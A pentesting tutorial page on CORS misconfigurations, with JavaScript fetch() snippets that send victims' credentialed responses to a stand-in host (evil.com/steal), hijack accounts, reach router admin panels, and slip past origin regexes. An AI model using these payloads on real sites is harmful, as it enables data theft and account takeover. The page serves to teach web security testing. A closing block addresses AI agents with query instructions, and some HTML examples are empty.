# CORS - Misconfigurations & Bypass {% tabs %} {% tab title="Support VeryLazyTech 🎉" %} * Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁** * **Follow** us on: * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.** * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.** * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.** * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.** * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.** * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.** * Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. 📚 {% endtab %} {% endtabs %} ## **Understanding CORS (Cross-Origin Resource Sharing)** **Cross-Origin Resource Sharing (CORS)** is a crucial security feature implemented by web browsers to prevent unauthorized access to resources from different origins. It acts as a safeguard against **cross-origin attacks**, ensuring that scripts loaded from one domain cannot interact with resources hosted on another unless explicitly allowed by the server. While CORS is intended to enhance security, **misconfigurations** can introduce severe vulnerabilities, allowing attackers to **bypass restrictions** and potentially exploit sensitive data. This article explores **common CORS misconfigurations**, their impact, and various bypass techniques that attackers leverage. ### What is CORS? Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources. A **same-origin** policy mandates that a **server requesting** a resource and the server hosting the **resource** share the same protocol (e.g., `http://`), domain name (e.g., `internal-web.com`), and **port** (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources. The application of the same-origin policy in the context of `http://normal-website.com/example/example.html` is illustrated as follows: | URL accessed | Access permitted? | | ----------------------------------------- | --------------------------------------- | | `http://normal-website.com/example/` | Yes: Identical scheme, domain, and port | | `http://normal-website.com/example2/` | Yes: Identical scheme, domain, and port | | `https://normal-website.com/example/` | No: Different scheme and port | | `http://en.normal-website.com/example/` | No: Different domain | | `http://www.normal-website.com/example/` | No: Different domain | | `http://normal-website.com:8080/example/` | No: Different port\* | \*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access. *** ## **Common CORS Misconfigurations** ### **1. Allowing Any Origin (`Access-Control-Allow-Origin: *`)** This header can allow **multiple origins**, a **`null`** value, or a wildcard **`*`**. However, **no browser supports multiple origins**, and the use of the wildcard `*` is subject to **limitations**. (The wildcard must be used alone, and its use alongside `Access-Control-Allow-Credentials: true` is not permitted.) This header is **issued by a server** in response to a cross-domain resource request initiated by a website, with the browser automatically adding an `Origin` header. One of the most frequent mistakes is configuring the server to accept requests from **any origin** by setting: ``` Access-Control-Allow-Origin: * ``` This setting allows **any website** to send requests and receive responses, effectively removing the same-origin policy and exposing **sensitive API endpoints** to attackers. ### **2. Reflecting User-Provided Origin** Some implementations dynamically set the `Access-Control-Allow-Origin` header to match the request’s `Origin`, as seen in the following example: ``` header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); ``` If the application fails to validate trusted origins, **attackers can manipulate this behavior** by sending requests from a malicious domain, gaining access to sensitive information. > #### **Exploitation Scenario** > > **Attacker’s Malicious Website** > > An attacker hosts a malicious website (`https://evil.com`) and lures a victim into visiting it. > > **Crafting a Malicious Fetch Request** > > The attacker embeds the following JavaScript code in their site: > > ```javascript > fetch("https://vulnerable.com/api/userinfo", { > method: "GET", > credentials: "include", > headers: { > "Origin": "https://evil.com" > } > }) > .then(response => response.text()) > .then(data => { > fetch("https://evil.com/steal?data=" + encodeURIComponent(data)); > }); > ``` > > **What Happens?** > > * The victim, while logged into `https://vulnerable.com`, visits `https://evil.com`. > * The malicious script sends a request to `https://vulnerable.com/api/userinfo` with the attacker's origin (`https://evil.com`). > * Since the server **reflects** the `Origin` value (`https://evil.com`), the response includes: > > ``` > Access-Control-Allow-Origin: https://evil.com > Access-Control-Allow-Credentials: true > ``` > * The victim’s browser sees that the response is allowed and exposes the sensitive data to `https://evil.com`. > * The script extracts and exfiltrates the data to the attacker’s server. ### **3. Allowing Credentials with a Wildcard Origin** The `Access-Control-Allow-Credentials: true` directive permits the browser to send **authenticated requests**, such as those containing cookies or authorization headers. However, this should never be combined with a wildcard `Access-Control-Allow-Origin: *`, as browsers will block such responses. Example of insecure configuration: ``` Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ``` This misconfiguration can allow **cross-site request forgery (CSRF)** and **session hijacking** attacks. By **default**, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the `Access-Control-Allow-Credentials` header to **`true`**. If set to `true`, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates). ```javascript var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { console.log(xhr.responseText) } } xhr.open("GET", "http://example.com/", true) xhr.withCredentials = true xhr.send(null) ``` ```javascript fetch(url, { credentials: "include", }) ``` ```javascript const xhr = new XMLHttpRequest() xhr.open("POST", "https://bar.other/resources/post-here/") xhr.setRequestHeader("X-PINGOTHER", "pingpong") xhr.setRequestHeader("Content-Type", "application/xml") xhr.onreadystatechange = handler xhr.send("Arun") ``` ### **4. Misconfigured Allowed Methods** If an API mistakenly allows methods like `PUT`, `DELETE`, or `OPTIONS` for untrusted origins, it may enable attackers to modify or delete sensitive data. Example: ``` Access-Control-Allow-Methods: GET, POST, PUT, DELETE ``` > ### **Exploitation Scenario** > > #### **Attacker’s Malicious Website** > > An attacker sets up a malicious website, `https://evil.com`, and lures a victim into visiting it. > > #### **Crafting a Malicious Request** > > The attacker creates the following JavaScript code to modify or delete data: > > **Scenario 1: Unauthorized Data Modification (PUT Request)** > > ```javascript > fetch("https://vulnerable.com/api/user/123", { > method: "PUT", > credentials: "include", > headers: { > "Content-Type": "application/json", > "Origin": "https://evil.com" > }, > body: JSON.stringify({ > "username": "hacked", > "email": "attacker@evil.com" > }) > }); > ``` > > 💡 **Impact:** Changes the victim’s profile information without their consent. > > *** > > **Scenario 2: Unauthorized Data Deletion (DELETE Request)** > > ```javascript > fetch("https://vulnerable.com/api/user/123", { > method: "DELETE", > credentials: "include", > headers: { > "Origin": "https://evil.com" > } > }); > ``` > > 💡 **Impact:** Deletes the victim’s account or other critical data. > > *** > > **Scenario 3: Extracting Data via OPTIONS Method** > > Some APIs expose internal endpoints via `OPTIONS` requests, allowing attackers to **reconnaissance** API behavior: > > ```javascript > fetch("https://vulnerable.com/api/secret-data", { > method: "OPTIONS", > credentials: "include", > headers: { > "Origin": "https://evil.com" > } > }) > .then(response => response.text()) > .then(data => console.log(data)); > ``` > > 💡 **Impact:** Reveals information about supported methods and security policies, helping attackers craft further exploits. ### **5. Overly Permissive Allowed Headers** Allowing arbitrary headers with `Access-Control-Allow-Headers: *` can lead to **data exfiltration** or improper exposure of internal server logic. #### **How It Works** When `Access-Control-Allow-Headers: *` is set, the server **accepts any headers** sent by the client. This can lead to: * **Exfiltration of sensitive data** (e.g., Authorization tokens, API keys). * **Bypassing security mechanisms** that rely on custom headers. * **Manipulation of request behavior** by injecting unexpected headers. > ### **Exploitation Scenarios** > > #### **Extracting Sensitive Authentication Data** > > If an API expects an `Authorization` header but does not restrict which headers can be included in CORS requests, an attacker can trick a victim into sending their **authentication token** to a malicious site. > > **Malicious JavaScript Code:** > > ```javascript > fetch("https://vulnerable.com/api/secret", { > method: "GET", > credentials: "include", > headers: { > "Origin": "https://evil.com", > "Authorization": "Bearer stolen-token" > } > }) > .then(response => response.text()) > .then(data => { > fetch("https://evil.com/steal?data=" + encodeURIComponent(data)); > }); > ``` > > 💡 **Impact:** > > * If the API trusts the `Authorization` header, the attacker can **impersonate the victim** and access their account. > * The attacker's website (`https://evil.com`) receives the extracted sensitive data. > > *** > > #### **Sending Unauthorized Requests with Custom Headers** > > Some APIs rely on specific security headers to verify requests. If the server allows **arbitrary headers**, an attacker can bypass these restrictions. > > **Exploitation Example (Bypassing API Security Checks):** > > ```javascript > fetch("https://vulnerable.com/api/admin", { > method: "POST", > credentials: "include", > headers: { > "Origin": "https://evil.com", > "X-Admin-Access": "true" > } > }); > ``` > > 💡 **Impact:** > > * If the API uses `X-Admin-Access` for admin verification, the attacker might gain unauthorized privileges. > > *** > > #### **Leaking Internal Server Information** > > Some applications **log or return request headers** for debugging. If an attacker can inject arbitrary headers, they might expose internal server logic. > > **Example: Forcing an Error Response to Leak Data** > > ```javascript > fetch("https://vulnerable.com/api/debug", { > method: "GET", > headers: { > "Origin": "https://evil.com", > "X-Debug-Info": "true" > } > }); > ``` > > 💡 **Impact:** > > * If the server includes `X-Debug-Info` in responses, it might **leak database queries, stack traces, or sensitive configurations**. ### **6. Abusing JSONP Endpoints** Some legacy applications still use **JSONP (JSON with Padding)**, which **bypasses CORS** by embedding responses within a JavaScript function. Attackers can exploit JSONP endpoints to steal data using a crafted script. #### **How JSONP Works** A JSONP-enabled API endpoint responds with JSON data wrapped inside a callback function. Example: **Victim’s API (JSONP Endpoint)** ```plaintext https://vulnerable.com/api/userinfo?callback=myFunction ``` **Server Response:** ```javascript myFunction({"username":"victimUser", "email":"victim@example.com"}); ``` * The browser **executes** the response as JavaScript, calling the attacker-specified function (`myFunction`). * If no origin validation exists, an attacker can **steal sensitive data** by controlling the `callback` parameter. > ### **Exploitation Scenario** > > #### **Attacker’s Malicious Website** > > An attacker tricks a victim into visiting `https://evil.com` and injects a malicious ` > ``` > > 💡 **Impact:** > > * The victim’s browser **requests their personal data** from `https://vulnerable.com/api/userinfo`. > * The API **blindly returns JSONP-wrapped data** to the attacker’s function (`stealData`). > * The attacker’s script **steals the victim’s personal details** (e.g., username, email) and sends them to `https://evil.com`. > > ### > > ### **Exploitation Scenario #2** > > #### **Extracting Sensitive Authenticated Data** > > If JSONP endpoints **return private user data** while the victim is logged in, an attacker can steal it using: > > ```html > > ``` > > 💡 **Impact:** > > * Extracts the victim’s **account details, balance, or private messages**. > > *** > > ### **Exploitation Scenario #3** > > #### **Bypassing Security with Wildcard Callbacks** > > Some JSONP endpoints allow **arbitrary function names**, enabling JavaScript injection: > > ```html > > ``` > > 💡 **Impact:** > > * If the API **does not sanitize function names**, an attacker might trigger **XSS (Cross-Site Scripting)**. ### **7. Subdomain Takeover to Exploit CORS Trust Relationships** Many organizations configure CORS policies to allow requests from specific subdomains (e.g., `api.example.com`). If an attacker **takes over a forgotten or expired subdomain**, they can execute **malicious cross-origin requests** on behalf of legitimate users, leading to **account takeovers, data theft, or API abuse**. #### **How the Exploit Works** 1. **Misconfigured CORS Policy:**\ The main domain (`example.com`) allows requests from **any subdomain** using a wildcard (`*.example.com`): ```plaintext Access-Control-Allow-Origin: *.example.com Access-Control-Allow-Credentials: true ``` This means any subdomain under `example.com` is **trusted** to make CORS requests. 2. **Abandoned or Expired Subdomain:** * Some companies **forget to renew subdomains**, leaving them open for takeover. * Unused subdomains pointing to **decommissioned services** (e.g., old AWS buckets, GitHub Pages, Heroku apps) can be **reclaimed** by attackers. 3. **Attacker Registers the Subdomain:** * The attacker finds an expired or misconfigured subdomain (`forgotten.example.com`). * Registers it and hosts a **malicious script**. 4. **Victim Visits the Malicious Subdomain:** * The victim, logged into `example.com`, visits the attacker's site (`forgotten.example.com`). * The attacker's script sends **authenticated requests** to the vulnerable API. > ### **Exploitation Scenario: Stealing Sensitive User Data** > > #### **1. Attacker Identifies a Vulnerable Subdomain** > > The attacker finds that `old-api.example.com` is no longer in use. Using tools like: > > * `dig` or `nslookup` to check for unregistered domains. > * `Subfinder` or `Amass` to find abandoned subdomains. > * `CNAME` misconfigurations (e.g., pointing to expired AWS, Heroku, or Azure services). > > If the subdomain is available, the attacker **registers it** and hosts a malicious script. > > *** > > #### **2. Attacker’s Malicious JavaScript** > > The attacker creates a script on the compromised subdomain (`forgotten.example.com`): > > ```javascript > fetch("https://api.example.com/userinfo", { > method: "GET", > credentials: "include", > headers: { > "Origin": "https://forgotten.example.com" > } > }) > .then(response => response.json()) > .then(data => { > fetch("https://evil.com/steal?data=" + encodeURIComponent(JSON.stringify(data))); > }); > ``` > > 💡 **What Happens?** > > * The victim’s browser **includes their session cookies** when making the request. > * Since `*.example.com` is trusted, the API responds with **sensitive user data**. > * The attacker's script **steals the response** and sends it to `evil.com`. > > *** > > #### **3. Exploiting API Write Permissions** > > If the vulnerable API **allows data modifications** (`POST`, `PUT`, `DELETE`), the attacker can modify or delete user data. > > ```javascript > fetch("https://api.example.com/update-profile", { > method: "POST", > credentials: "include", > headers: { > "Origin": "https://forgotten.example.com", > "Content-Type": "application/json" > }, > body: JSON.stringify({ > "email": "attacker@evil.com", > "password": "hacked123" > }) > }); > ``` > > 💡 **Impact:** > > * The attacker can **change the victim’s email and password**, taking over their account. *** ## **CSRF Pre-Flight Requests in CORS** **Cross-Site Request Forgery (CSRF) attacks** exploit a user's authenticated session to execute **unauthorized actions** on a web application. When combined with **CORS misconfigurations**, attackers can bypass security restrictions and execute cross-origin requests **with the victim’s credentials**. Pre-flight requests, which use the `OPTIONS` method, serve as a security check before executing certain cross-origin requests. However, **misconfigured CORS policies** can allow attackers to **abuse pre-flight requests** to **send unauthorized POST, PUT, or DELETE requests**, leading to **account takeovers, data theft, or system modifications**. ### **Understanding CSRF with Pre-Flight Requests** A **pre-flight request** occurs when a cross-origin request includes:\ ✅ **Non-simple HTTP methods** (`PUT`, `DELETE`, `PATCH`)\ ✅ **Custom headers** (e.g., `Authorization`, `X-Requested-With`)\ ✅ **Non-standard Content-Types** (`application/json`, `text/xml`) #### **Example of a Pre-Flight Request** ```http OPTIONS /update-password HTTP/1.1 Host: vulnerable.com Origin: https://attacker.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Authorization ``` #### **Example of a Misconfigured Server Response** ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Authorization Access-Control-Allow-Credentials: true ``` 🔴 **Security Issue:** * The server **trusts any specified origin** (`https://attacker.com`). * **Sensitive methods (`PUT`, `DELETE`) are allowed.** * **Credentials (`cookies, session tokens`) are sent.** * **No CSRF protection is in place.** > ### **Exploitation Scenario: Unauthorized Account Takeover** > > #### **Victim Visits a Malicious Website** > > The attacker tricks the victim into visiting `https://evil.com`. > > #### **Attacker’s JavaScript Executes** > > The attacker's script **sends a pre-flight request**, and if the server allows it, executes a **malicious account takeover request**: > > ```html > > ``` > > #### **The Server Accepts the Request** > > Since the server’s **CORS policy is misconfigured**, the request:\ > ✅ **Uses the victim’s active session** (via `credentials: include`)\ > ✅ **Bypasses CSRF protections** if they rely only on the `Origin` check\ > ✅ **Changes the victim’s password** without their knowledge > > 🔴 **Impact:** > > * The attacker **resets the victim’s password** and **locks them out**. > * The attacker can also **modify user details**, **steal API keys**, or **delete accounts**. > > *** > > ### **Exploitation Scenario #2** > > #### **Stealing Data via CORS Policy Loopholes** > > If the server allows **arbitrary headers** (`Access-Control-Allow-Headers: *`), attackers can send **custom requests** to extract sensitive data: > > ```javascript > fetch("https://vulnerable.com/userinfo", { > method: "GET", > credentials: "include", > headers: { > "Origin": "https://evil.com", > "X-Custom-Header": "exploit" > } > }) > .then(response => response.json()) > .then(data => { > fetch("https://evil.com/steal?data=" + encodeURIComponent(JSON.stringify(data))); > }); > ``` > > 💡 **Impact:** Extracts **usernames, emails, session tokens**, or **private API keys**. > > *** > > ### **Exploitation Scenario #3** > > #### **Exploiting Local Network Access via Pre-Flight Requests** > > Some servers **trust requests** from a local network (`192.168.1.1` or `127.0.0.1`), allowing attackers to **bypass authentication** by exploiting **CORS Local-Network Access**: > > **Pre-Flight Request from Attacker’s Site** > > ```http > OPTIONS /admin HTTP/1.1 > Host: router.local > Origin: https://evil.com > Access-Control-Request-Method: GET > Access-Control-Request-Headers: Authorization > ``` > > **Server Responds Permissively** > > ```http > HTTP/1.1 200 OK > Access-Control-Allow-Origin: * > Access-Control-Allow-Methods: GET, POST > Access-Control-Allow-Credentials: true > Access-Control-Allow-Local-Network: true > ``` > > **Attacker Accesses Internal Admin Panels** > > ```javascript > fetch("http://router.local/admin", { > method: "GET", > credentials: "include" > }) > .then(response => response.text()) > .then(data => { > fetch("https://evil.com/steal?data=" + btoa(data)); > }); > ``` > > 💡 **Impact:** The attacker can **steal router credentials**, **modify network settings**, or **exfiltrate internal network data**. *** ## Regular Expression Bypass Techniques in CORS Validation When developers **whitelist domains** for **Cross-Origin Resource Sharing (CORS)**, they often rely on **regular expressions (regex)** to validate incoming requests. However, regex-based domain filtering can be **tricked** using **edge-case characters**, **misinterpretations of domain structures**, or **browser-specific quirks**. These **bypass techniques** allow attackers to: * **Send unauthorized cross-origin requests** * **Steal sensitive user data (tokens, API responses)** * **Bypass security restrictions using manipulated URLs** ### **Understanding Common Regex Bypass Issues** Developers might define a **CORS whitelist** using **insecure regex patterns** such as: ```php if (preg_match("/^https:\/\/.*trusted\.com$/", $_SERVER['HTTP_ORIGIN'])) { header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); } ``` 💡 **Potential Problems:**\ 1️⃣ **Subdomain Injection:** Some regex patterns may match `https://attack.trusted.com.evil.com`\ 2️⃣ **Misinterpreted Characters:** Browsers and regex engines handle `_` (underscores) differently.\ 3️⃣ **Unexpected URL Encodings:** Alternative encodings can confuse validation logic. *** ### **Exploitation Techniques for Regex-Based CORS Bypasses** #### **Subdomain Injection: Exploiting Poor Regex Matching** **Weak Regex Pattern:** ```regex /^https:\/\/.*trusted\.com$/ ``` ✅ Expected: `https://api.trusted.com`\ ❌ Exploitable: `https://api.trusted.com.evil.com` #### **Bypassing the Whitelist** If a regex **incorrectly matches any domain ending in `trusted.com`**, an attacker can craft a malicious origin: ```http Origin: https://api.trusted.com.evil.com ``` Since `evil.com` controls this subdomain, **CORS headers will allow data to be stolen**. *** #### **Underscore Injection: Exploiting Browser Regex Handling** Many browsers treat **underscore characters (`_`) differently in subdomains**: ✅ **Safari, Chrome, and Firefox ignore `_` in certain cases**\ ❌ **Some regex filters fail to block** domains containing `_` Example **regex filter** (Incorrectly implemented): ```regex /^https:\/\/[\w.-]+\.trusted\.com$/ ``` 💡 **Potential Bypass:**\ The attacker registers a domain like: ``` attacker_trusted.com ``` * **Browsers** might treat `attacker_trusted.com` as `trusted.com`. * **Regex filters** might **fail to block it**, allowing CORS access. *** #### **URL Encoding & Alternative Notations** Some filters fail to handle **encoded characters** correctly: ```http Origin: https://trusted.com%00.evil.com ``` 💡 **Impact:** * `%00` is **null byte encoding**, which some regex engines **stop processing after**. * If the server **only checks the first part (`trusted.com%00`)**, it may incorrectly allow access. *** #### **Exploiting IPv6 & Mixed Formats** Some regex patterns fail to account for **IPv6 or mixed numeric representations**: * **IPv6 Shortened Format:** `https://[::1].trusted.com` * **Dotted Octal Format:** `https://0177.0.0.1.trusted.com` * **Dotted Hexadecimal Format:** `https://0x7f.0x00.0x00.0x01.trusted.com` 💡 **Attack Strategy:**\ If the regex **doesn't normalize domain resolution**, an attacker could **masquerade as a trusted domain**. *** #### **Scenario: Regex Vulnerability Leads to Data Theft** 💡 **Setup:**\ A web app allows **CORS requests from trusted domains** using: ```php if (preg_match("/^https:\/\/.*\.trusted\.com$/", $_SERVER['HTTP_ORIGIN'])) { header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); } ``` 💡 **Problem:**\ This regex **allows any subdomain containing** `trusted.com`. #### **Attacker Registers a Malicious Domain** The attacker registers: ``` attacker-trusted.com ``` 💡 **Exploitation:**\ The attacker **tricks the regex into whitelisting their domain** by sending: ```http Origin: https://attacker-trusted.com ``` The server responds with: ```http Access-Control-Allow-Origin: https://attacker-trusted.com ``` Now, **the attacker’s website can send requests on behalf of victims**. *** #### **Extracting Data via JavaScript** The attacker creates a **malicious webpage**: ```html ``` 💡 **Impact:**\ ✅ **Victim’s sensitive data (session tokens, API keys, user info) is stolen**\ ✅ **The attacker can impersonate the victim’s account** *** ### **Tools** **Fuzz possible misconfigurations in CORS policies** * * * * * * *** {% hint style="success" %} Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)
Support VeryLazyTech 🎉 * Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁** * **Follow** us on: * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.** * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.** * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.** * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.** * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.** * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.** * Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. 📚
{% endhint %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://www.verylazytech.com/pentesting-web/cors-misconfigurations-and-bypass.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.